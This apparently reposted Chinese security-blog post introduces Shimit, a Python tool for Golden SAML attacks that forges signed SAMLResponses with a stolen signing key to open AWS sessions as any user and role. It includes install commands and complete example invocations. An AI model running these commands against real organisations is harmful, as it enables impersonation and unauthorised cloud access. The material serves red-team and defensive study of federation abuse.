Golden SAML攻击利器Shimit介绍

2018-03-26 13,722

Shimit是一个实现Golden SAML攻击的python工具。关于这方面的更多信息可以在我们博客的以下文章中找到。

python .\shimit.py -h


 usage: shimit.py [-h] -pk KEY [-c CERT] [-sp SP] -idp IDP -u USER [-reg REGION]


                  [--SessionValidity SESSION_VALIDITY] [--SamlValidity SAML_VALIDITY] -n SESSION_NAME


                  -r ROLES -id ARN [-o OUT_FILE] [-l LOAD_FILE] [-t TIME]

███████╗██╗  ██╗██╗███╗   ███╗██╗████████╗     
██╔════╝██║  ██║██║████╗ ████║██║╚══██╔══╝     
███████╗███████║██║██╔████╔██║██║   ██║        
╚════██║██╔══██║██║██║╚██╔╝██║██║   ██║        
███████║██║  ██║██║██║ ╚═╝ ██║██║   ██║        
╚══════╝╚═╝  ╚═╝╚═╝╚═╝     ╚═╝╚═╝   ╚═╝      SHIMT

概观

在金色的SAML攻击中,攻击者可以以任何他们想要的权限访问应用程序(任何支持SAML身份验证的应用程序),并成为目标应用程序上的任何用户。

shimit允许用户创建一个签名的SAMLResponse对象,并使用它在服务提供者中打开一个会话。shimit现在支持作为服务提供商的 AWS控制台,更多正在开发中......

AWS

在生成并签署SAMLResponse的断言之后,shimit将调用AWS中的AssumeRoleWithSAML() API。然后,会话标记和密钥将应用于新会话,用户可以使用aws cli使用使用黄金SAML获取的权限执行操作。

要求:

要安装所需的模块,请运行以下命令:

python -m pip install boto3 botocore defusedxml enum python_dateutil lxml signxml

AWS cli

需要安装才能使用获得的凭据。可以 从这些链接下载用于WindowsLinux

用法:

为AWS cli申请会话

python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012

idp - 身份提供商URL,例如http://server.domain.com/adfs/services/trust

pk - 私钥文件完整路径(pem格式)

c - 证书文件完整路径(pem格式)

u - 用户和域名,例如domain \ username(在* nix中使用\或引号)

n - AWS中的会话名称

r - AWS中期望的角色。支持多个角色,将假定第一个角色。

id - AWS账户ID,例如123456789012

将SAMLResponse保存到文件

python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -c cert_file
-u domain\admin -n admin@domain.com -r ADFS-admin -r ADFS-monitor -id 123456789012 -o saml_response.xml

o - 将编码的SAMLResponse输出到指定的文件路径

从文件加载SAMLResponse

python .\shimit.py -l saml_response.xml

l - 从指定的文件路径加载SAMLResponse


本文作者:FreeaRoot

本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/69805.html

评论  (2)
快来写下你的想法吧!

FreeaRoot

文章数:1 积分: 0

安全问答社区

安全问答社区

脉搏官方公众号

脉搏公众号